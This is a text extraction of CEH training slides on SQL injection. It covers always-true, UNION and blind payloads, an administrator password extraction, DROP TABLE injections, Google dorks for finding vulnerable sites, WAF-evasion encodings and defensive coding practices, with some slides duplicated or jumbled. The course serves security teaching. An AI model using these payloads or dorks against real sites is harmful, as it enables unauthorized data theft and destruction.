Thanks to visit codestin.com
Credit goes to www.scribd.com

0% found this document useful (0 votes)
3 views81 pages

CEH Module 15

Uploaded by

vickeybravo
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views81 pages

CEH Module 15

Uploaded by

vickeybravo
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 81

15.

1 SQL
INJECTION  What is SQL
 Basic SQL Syntax
OVERVIEW
 Structured Query Language
 Used to interact with a relational database
 Query (read) data from a database
 Add new data
 Update existing data
 Delete data
 Create new databases and tables
SELECT <column> FROM <table> WHERE <condition>
SELECT * FROM customers
SELECT f_name, l_name FROM customers WHERE cust_id = ‘12345’
SELECT * FROM customers WHERE cust_id = ‘12345’
 AKA SQLi
 The most common vulnerability in websites
 An attack in which a normal SQL query has been modified
 If the web app does not validate the input
 It will send the modified SQL command to be executed by a back-end database

 Nearly all SQL servers are vulnerable to SQLi


 SQL servers have no built-in mechanism to validate input

 SQLi can happen in any programming language


 SQLi is usually successful when an Internet-facing web app does not validate and clean
input it receives from users
 Instead it automatically passes malicious requests to the SQL server
 SQLi allows an attacker to retrieve data from the backend database directly
 This can cause:
 Unauthorized data exfiltration / loss of data confidentiality
 Unauthorized data modification / loss of data integrity
 Possible unauthorized remote execution of system commands

 The attacker could also alter the data and put it back
 Nobody would notice the change

 SQLi that exfiltrates data will usually have a larger HTML response size than normal
 Example:
 An attacker extracts the full credit card database
 That single response might be 20 to 50 MB
 A normal response might only be 200 KB
 Special SQL Characters
15.2 BASIC  Simplest Injection Example

SQL  Always TRUE statements


 Injection in Web Pages
INJECTION  Batched Injection Commands
These special characters are common targets for abuse in SQL Injection

Input character Meaning in Transact-SQL


; • Query delimiter
• Place between two queries to run both in single command
' • Character data string delimiter
• Causes a syntax error
-- • Single-line comment delimiter
• Text following -- until the end of that line is not evaluated by the server
• Use to ignore a field you don’t know the value for
/* ... */ • Comment delimiters
• Text between /* and */ is not evaluated by the server
xp_ • In MSSQL, used at the start of the name of extended stored procedures, such
as xp_cmdshell.
 Add a single quote ( ’ ) to a normal query
 This makes the query syntax incorrect
 A vulnerable database will throw an error
 The attacker can then use this information to continue with the attack

SELECT * FROM Users’


 A common SQLi technique is to inject a query that always evaluates to true

’ or 1=1
blah’ or 1=1
 This is used to:
 bypass authentication
 identify injectable parameters
 extract data
Prevents a
 For example: syntax error
 This query returns ALL accounts and their balances:

SELECT account, balance FROM accounts WHERE account_owner_id = 0 OR 1=1


 SQL injection usually occurs when you ask a user for input on a web form
 A web app takes the input and dynamically creates a SQL query
 The SQL query already exists
 It has placeholders for the user’s input
 The web app inserts the input to complete the query
 The query is then sent to the database for execution
What each part of the SQL injection does:
• A single-quote (‘) closes the opening quote in the user name field
• OR keyword becomes a SQL keyword
• 1=1 is a statement which always returns the value TRUE
Letmein • This will return ALL records in the Users table!
• The semicolon (;) indicates the SQL statement has ended
• Double dashes (- -) comment out the rest part of the SQL statement
• SQL will run the query even without the correct password
• The attacker had to enter something in the password field to satisfy
the mobile app

--' AND Pass = 'HashValueOfLetmein';


 "=" is also always TRUE
 It can be used instead of 1=1

 Here is an example of a user login on a web site:

uName = getRequestString("username");
uPass = getRequestString("userpassword");

sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'

// The query becomes:


SELECT * FROM Users WHERE Name = "Moo Dharma" AND Pass = "LetMeIn"
 "=" is also always TRUE
 It can be used instead of 1=1

 Here is an example of a user login on a web site:

uName = getRequestString("username");
uPass = getRequestString("userpassword");

sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'

// The query becomes:


SELECT * FROM Users WHERE Name = 'Moo Dharma' AND Pass = 'LetMeIn'
 "=" is also always TRUE
 It can be used instead of 1=1

 Here is an example of a user login on a web site:

uName = getRequestString("username");
uPass = getRequestString("userpassword");

sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass = "' + uPass + '"'

// The query becomes:


SELECT * FROM Users WHERE Name = 'Moo Dharma' AND Pass = 'LetMeIn'
 "=" is also always TRUE
 It can be used instead of 1=1

 Here is an example of a user login on a web site:

uName = getRequestString("username");
uPass = getRequestString("userpassword");

sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass = "' + uPass + '"'

// The query becomes:


SELECT * FROM Users WHERE Name = 'Moo Dharma' AND Pass = 'LetMeIn'
 "=" takes the place of 1=1
 The attacker enters this instead of :

The code will create this valid SQL statement:

SELECT * FROM Users WHERE Name ="" OR ""=" AND Pass ="" OR ""="

OR "=" is always TRUE


The database will return all rows including usernames and passwords
 Most databases support batched SQL statements
 A batch of SQL statements is a group of two or more SQL statements, separated by
semicolons
 The SQL statement below will return all rows from the "Users" table, then delete the
"Suppliers" table

SELECT * FROM Users; DROP TABLE Suppliers


// The web app has the following code:
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

// The attacker enters the following in the web page

// This valid SQL statement is created and sent to the database:

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;


15.3 FINDING
VULNERABLE  Using Google Dorks
 Testing Possible Targets
WEBSITES
 Search for websites that rely on PHP scripts to generate dynamic SQL queries
 PHP-based websites are usually your best targets because:
 They can be set up by just about anyone (i.e. WordPress)
 They often contain lots of valuable information about customers within the database you
are attempting to hack
 Use Google Dorks to identify possible targets:

 inurl:index.php?id=
 inurl:pages.php?id=
 inurl:view.php?id=
 Search for websites that rely on PHP scripts to generate dynamic SQL queries
 PHP-based websites are usually your best targets because:
 They can be set up by just about anyone (i.e. WordPress)
 They often contain lots of valuable information about customers within the database you
are attempting to hack
 Use Google Dorks to identify possible targets:

 inurl:index.php?id=
 inurl:pages.php?id=
 inurl:view.php?id= For a more comprehensive list of Google Dorks see:
https://pastebin.com/C2awJsLB
https://brokenkeyssite.wordpress.com/
1. Take the results of your Google Dork
2. Paste it into the browser
3. Add a single quote to the end
4. Press enter
 If you receive an error, the site is likely vulnerable to SQLi
 Note: When testing for SQLi vulnerability, the actual contents of the error are not important

 Example:
 You enter:

https://www.example.com/index.php?catid=1’

 Website returns:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ''' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be
resource, boolean given in /hj/var/www/listproducts.php on line 74
15.4 ERROR-  SQL Errors
BASED SQL  Creating an Error

INJECTION
 Relies on error messages thrown by the database server to:
 Indicate the website is vulnerable to SQLi
 Obtain information about the structure of the database

 The attacker uses information contained in the error to escalate the attack
 Sometimes the names or structure of database elements are included in the error
 The attacker visits
http://www.example.com
 The attacker navigates to a page that displays the company’s products
 The attacker looks at the first product
 The URL is
http://www.example.com/listproducts.php?cat=1
 The attacker adds a single quote to the URL to see if the database throws and error
http://www.example.com/listproducts.php?cat=1’
 The database returns this error, strongly suggesting that the site is vulnerable to SQLi
 The attacker visits
http://www.example.com
 The attacker navigates to a page that displays the company’s products
 The attacker looks at the first product
 The URL is
http://www.example.com/listproducts.php?cat=1
 The attacker adds a single quote to the URL to see if the database throws an error
http://www.example.com/listproducts.php?cat=1’
 The database returns this error, strongly suggesting that the site is vulnerable to SQLi
15.5  SQL Unions
UNION SQL  Using Unions in SQL Injection

INJECTION
 The UNION keyword lets you execute one or more additional SELECT queries and
append the results to the original query
 For a UNION query to work, two key requirements must be met:
 The individual queries must return the same number of columns
 The data types in each column must be compatible between the individual queries

 Example:
/**
Return a single result set with two columns containing values from:
columns a and b in table1
columns c and d in table2
*/
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
 Leverages the UNION SQL operator
 The attacker uses a UNION clause in the payload
 Combines the results of two or more SELECT statements into a single result

 You need to ensure that your attack meets SQL UNION requirements
 The individual queries must return the same number of columns
 The data types in each column must be compatible between the individual queries
 Malicious query:

http://testphp.vulnweb.com/
artists.php?artist=1 UNION SELECT 1,version(),current_user()

 Result: The web application displays the system version and the name of the current user:
5.1.73-0ubuntu0.10.04.1 moo@localhost
15.6  Using Blind SQLi
BLIND SQL  Boolean-based Blind SQLi

INJECTION  Time-based Blind SQLi


 Some vulnerable web apps do not return expected results
 UNION attacks aren’t effective

 If you do not see the expected result, you can still use Blind SQL injection
 Blind SQL tries to trigger conditional responses
 The attacker cannot directly see the result of the attack
 But you get some kind of response depending on if the query is TRUE or FALSE
 Takes a long time because data must be enumerated character by character
 Boolean-based
 Attacker sends a SQL query to the database
 Forces the application to return a different result depending on whether the query returns
a TRUE or FALSE result
 Time-based
 Attacker sends a SQL query to the database
 Forces the database to wait for a specified amount of time
 Response time indicates if the result is TRUE or FALSE

Blind SQL injection vulnerability is harder to detect than XSS or CSRF


 The attacker enters two malicious queries

http://www.example.com/artists.php?artist=1 AND 1=1


http://www.example.com/artists.php?artist=1 AND 1=0
 Result:
 The first example is TRUE, so the app will return a response
 The second example is FALSE, so the app will not return a response
Scenario
 You encounter a vulnerable web app, but a SQL UNION statement returns no results
 The app uses tracking cookies to gather analytics about usage
 Requests to the application include a cookie header:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

 The app uses the tracking ID to determine if this is a known user


 The SQL query would be something like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4’


 If the tracking ID is recognized, the user sees a “Welcome Back” message
 You will try a series of TRUE/FALSE injections to determine a password

blah' AND '1'='1


blah' AND '1'='2

 Determine if the first character of the password is greater than the letter m
 If so, you will receive a “Welcome Back” message

blah' AND SUBSTRING((SELECT Password FROM Users WHERE Username =


'Administrator'), 1, 1) > 'm

Evaluate 1st
Evaluate only
character of
one character
password
 Continue using the same query but with different letters (or different operators) until you find the
first letter
blah' AND SUBSTRING((SELECT Password FROM Users
WHERE Username = 'Administrator'), 1, 1) > 't
FALSE
blah' AND SUBSTRING((SELECT Password FROM Users
WHERE Username = 'Administrator'), 1, 1) > 's
FALSE
blah' AND SUBSTRING((SELECT Password FROM Users
WHERE Username = 'Administrator'), 1, 1) > 'r
TRUE
 You now know that the first letter of the administrator password is “s”
 Keep going! Work on the second letter of the password…
 blah' AND SUBSTRING((SELECT Password FROM Users WHERE Username =
'Administrator’), 2, 1) > 'm
 Sometimes a vulnerable web app will return the same response for either Boolean-
based payload
 In that case you can send a payload that includes a time delay command
 If the attack is TRUE then the response will come after the delay
 The actual command syntax will depend on the type of database
 This example is false, so SQL will not respond:

'; IF (1=2) WAITFOR DELAY '0:0:10'--


 This example is true, so (if vulnerable) SQL will wait 10 seconds before
responding:
'; IF (1=1) WAITFOR DELAY '0:0:10'--

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator'


AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--
15.7 SQL
INJECTION  Common Tools
 Mobile Device Tools
TOOLS
 Metasploit
 Has many modules to attack MSSQL, MySQL, PostgreSQL, Oracle SQL and others

 BSQLHacker
 Automated Blind SQL Injection

 SQLmap
 Popular open source tool that works against a wide range of database servers

 SQLninja
 Exploits web apps that use a SQL back end

 Safe3 SQL injector


 Easy to use; supports HTTP, HTTPS, and a wide range of SQL servers

 SQLSus
 a MySQL injection and takeover tool

 Mole
 You just need to discover a vulnerable URL and then pass it in the tool
 DroidSQLi
 Automated SQLi

 sqlmapchik
 Android port of the
popular sqlmap
 Automates discovering
and exploiting SQL
vulnerabilities
15.8 EVADING  Encoding
 Concatenation
DETECTION  Variables
All of these examples translate to “SELECT”
 URL ASCII Encoding
%53%45%4C%45%43%54
 URL double encoding (replace % with %25)
%2553%2545%254C%2545%2543%2554
 Escaped Unicode (hex, code point, U+)

Hex: \x73\x65\x6c\x65\x63\x74
Code Point: \u0053\u0045\u004c\u0045\u0043\u0054
U+ : u+0053u+0045u+004cu+0045u+0043u+0054
All of these examples translate to “SELECT”

 HTML Encoding
&#83;&#69;&#76;&#69;&#67;&#84;
 Hex Encoding
0x53454c454354
 SQL char() function
 Pass ASCII integer value into the function for conversion to the equivalent character
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
 Uses the SQL engine’s native ability to build a single string from multiple pieces
 The attacker breaks the forbidden keyword into pieces
 The SQL engine reconstructs the pieces into the original statement

 Syntax varies depending on the database

 Generally uses either + or ||

EXEC(‘SEL’ + ‘ECT US’ + ‘ER’)


EXEC(‘SEL’ || ‘ECT US’ || ‘ER’)
 Many engines allow the declaration of variables
 These can be used to evade WAF detection as well as code-based input validation
 In this example nvarchar = unicode

; declare @myvar nvarchar(80);


set @myvar = N’UNI’ + N’ON SEL’ + N’ECT U’ + N’SER’);
EXEC(@myvar)
15.9
ANALYZING
 Examine Exhibits
SQL
INJECTION
 A local college has engaged your pentest team
 You examine a SQL Server transaction log and see the following:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
"select ID, GRADE from GRADES where ID=1234545; UPDATE GRADES set
GRADE=’A’ where ID=1234545;"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 This transaction is suspicious


 It looks like someone used SQL injection to assign straight A’s to the student with ID
#1234545.
 While performing static code analysis on a newly-developed application, you see the
following:

String query = "SELECT * FROM customers


WHERE custID='" + request.getParameter("id") + "'";

 This code is vulnerable to SQL injection


 It needs to be modified to use parameterized queries.
String query = "SELECT * FROM customers WHERE custID='" + request.getParameter("id") + “’”;

 Analysis of the code:


 This Java code dynamically creates a SQL query
 It replaces "id" with input from a user or another process
 If the user enters “12” the query would become
SELECT * FROM customers WHERE custID='12'
String query = "SELECT * FROM customers WHERE custID='" + request.getParameter("id") + "'";

 This code does not conduct any input validation


 A malicious user could replace "id" with ' or '1' = '1'

 This will cause the SQL statement to become:


SELECT * FROM customers WHERE CUST_ID=' or '1'='1'

 Because ‘1’ always equals ‘1’, the WHERE clause will always return TRUE
 EVERY record in the customers table would be returned
 The website log shows the following incoming GET request:

[12Nov2021 10:07:23]
“GET /logon.php?user=test’ +oR+7>1%20—HTTP/1.1” 200 5825

[12Nov2021 10:10:03]
“GET /logon.php?user=admin’;%20—HTTP{/1.1” 200 5845

 test’+oR+7>1%20 is the same as saying test’ or 7>1


 This is a slight variation of the classic blah’ or 1=1

 This attack is clearly SQL injection


 Output from a webserver log shows UNION keyword with a
SELECT statement

 This is UNION SQLi


 This is UNION SQLi.
15.10 SQL  Safe Practices for the Developer

INJECTION  Safe Practices for the Database


Administrator

COUNTER-  SQLi Vulnerability Checkers


 Safe Coding Examples
MEASURES
For the developer:
 Learn safe coding!
 Develop the web app to always validate input
 Use prepared statements with parameterized queries in your web app
 Whitelist input validation
 Escape all user-supplied input to filter out wildcards and special characters
 Specify the acceptable characters in form input
 Limit the acceptable number of characters in form input
 Create stored procedures in the database to enforce correct input types and
disallow ad-hoc queries
For the Database Administrator (DBA):
 Disable operating system-level commands such as xp_cmdshell
 Suppress error messages
 Use only customized error messages
 Ensure all database traffic is monitored with IDS/WAF
 Enforce least privilege
 Ensure the database service account has minimal rights
 Netsparker
 Web vulnerability scanner with SQLi module and cheat sheet

 SQLMap
 Automated SQLi

 jSQL Injection
 Java-based remote tester and SQLi deterrent tool

 Havij
 Web page vulnerability tester with automated SQLi

 Burp
 MITM web proxy for watching client-server interactions

 BBQSQL
 Python-based injection exploitation tool
 Good for identifying sophisticated SQLi

 Blisqy
 Tests using time-based blind SQLi
 Stored Procedures
 Parameterized Queries
 PHP Example
 Python Example
SAFE CODING  Java Example

EXAMPLES  Whitelist Example


 Wildcards Example
 Escaping Special Characters
 A stored procedure is a query that you pre-define in the SQL server itself
 It limits what is sent to the database for execution
 An attacker cannot make up an ad-hoc query to be executed

 The application calls the stored procedure and passes variables to it


 Store procedures are independent of any web app coding

Ask the database administrator (DBA) or SQL developer to


explain the stored procedures they are using to protect the
database from SQL injection
// Create the procedure Restrict the
input length
CREATE PROCEDURE dbo.myproc @id nvarchar(8)
AS
SELECT name FROM users WHERE id = @id;
GO

// Call the procedure with id = 1


EXEC database.dbo.myproc 1;
Too many
characters
// This SQL injection will not work
EXEC database.dbo.myproc 0;DELETE * FROM users
 AKA prepared statement
 Part of the web app
 Created using the web app programming language (PHP, Java, Python, C#, etc.)
 Used to pre-compile a statement before sending it to the database
 All you need to supply are the “parameters” (variables)
 Typically supplied by the user in a form on a webpage
 Now the query is complete
 Can be sent to the database to be executed
User input from
web page form
// Directly adds user input to the query
$sql = 'SELECT name, email, cust_type FROM customers WHERE userID = ' . $_GET['user'];
$conn->query($sql);
Concatenate
// The attacker could enter this in the URL: operator

page.php?user=0;%20TRUNCATE%20TABLE%20customers;

// The query would end up being this:

SELECT name, email, cust_type FROM customers WHERE userID = 0; TRUNCATE TABLE customers;
// Using traditional SQL question mark placeholders
$sql = 'SELECT name, cust_type FROM customers WHERE userID = ?';
$prep = $conn->prepare($sql);
$prep->execute([$_GET['user'], $_GET[‘cust_type']]); // indexed array
$result = $prep->fetchAll();

// Using PHP named placeholders


$sql = 'SELECT name, email, cust_type FROM customers WHERE userID = :user';
$prep = $conn->prepare($sql);
$prep->execute(['user' => $_GET['user']]); // associative array
$result = $prep->fetchAll();
cursor = conn.cursor(prepared=True)
params = ("<some user input>",)
cursor.execute("SELECT * FROM USERS WHERE username = %s", params)
 Java snippet that uses a parameterized query:

String custname = request.getParameter(“customerName”);


String query = “SELECT account_balance FROM user_data WHERE user_name = ? ”;
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
// Java
String tableName;
switch(PARAM):
case "Value1": tableName = "customers";
Input must be
break; one of these
choices
case "Value2": tableName = "products";
break;
...
default : throw new InputValidationException("unexpected
value provided for table name");
 Wildcards in SQL
SQL WILDCARDS  Wildcards in SQL Injection
 Escaping Wildcards and Special Characters
 SQL LIKE means you only know part of the value
 You do not know ahead of time how many characters will be returned
 Wildcards stand in for the unknown value
 % matches zero or more characters
 _ matches a single character
 This example returns all products whose name includes “cal” somewhere in it
SELECT * FROM products WHERE name LIKE ‘%cal%’
// Results:
California sushi
Calligraphy pen
Blue decal
Scientific calculator
Total Recall memory game
 An attacker could batch commands with the ; operator

Normal query:
SELECT * FROM products WHERE name LIKE ‘’

Malicious query:
SELECT * FROM products WHERE name LIKE ‘%’; SELECT * FROM employees;
 SQL query that retrieves a username and password for a login process
SELECT * FROM customers WHERE name = ‘’ AND password = ‘hashedInput’
 An attacker could use a wildcard in SQLi
 SQL query that retrieves a username and password for a login process
SELECT * FROM customers WHERE name = ‘’ AND password = ‘hashedInput’
 An attacker could use a wildcard in SQLi

SQL query sent to database is:


SELECT * FROM customers WHERE name =‘admin’ AND password = ‘%’
 You need to “escape” any maliciously inputted wildcards
 You want the special characters (such as a wildcard) to lose their special meaning
 Escaped wildcards are no longer treated as a special character
 They lose their ability to represent “any” result
 They are treated as “literals”
 Only results that actually contain the character % or _ will be returned

 The default escape character is a backslash \


 Some databases allow you to choose (declare) what the escape character will be.
// Normal query:
SELECT * FROM employees WHERE ssn LIKE '444003333'

// Malicious queries:
SELECT * FROM employees WHERE ssn LIKE '%'
SELECT * FROM employees WHERE ssn LIKE '%'; DROP TABLE employees

/** If the attacker tries to enter ' ; or % those characters will lose their
special power and be treated as part of the social security number itself */

SELECT * FROM employees WHERE ssn LIKE '\'\;\% DROP TABLE employees'
15.11 SQL
INJECTION  Review

REVIEW
INTRO TO


ETHICAL
SQL injection is most common vulnerability in websites
SQL injection uses non-validated input to send SQL commands through a Web app
 HACKING
Common SQLi methods include error-based, UNION and blind SQL injection

REVIEW
A methodological approach must be taken to detect SQL injection vulnerabilities
INTRO TO


ETHICAL
SQL injection is most common vulnerability in websites
SQL injection uses non-validated input to send SQL commands through a Web app
 HACKING
Common SQLi methods include error-based, UNION and blind SQL injection

REVIEW
A methodological approach must be taken to detect SQL injection vulnerabilities
 The most basic SQL injection involves adding a single quote
 You can return all rows in a table by injecting an always-true statement
such as OR 1=1
 You can use the SQL inline comment -- to instruct the database engine
to ignore any other input (such as fields where you don’t know what
value to enter)
 You can escape special characters so they are rendered useless when
used in SQL injection
 Use parameterized queries and stored procedures to disallow users
from entering ad-hoc queries

You might also like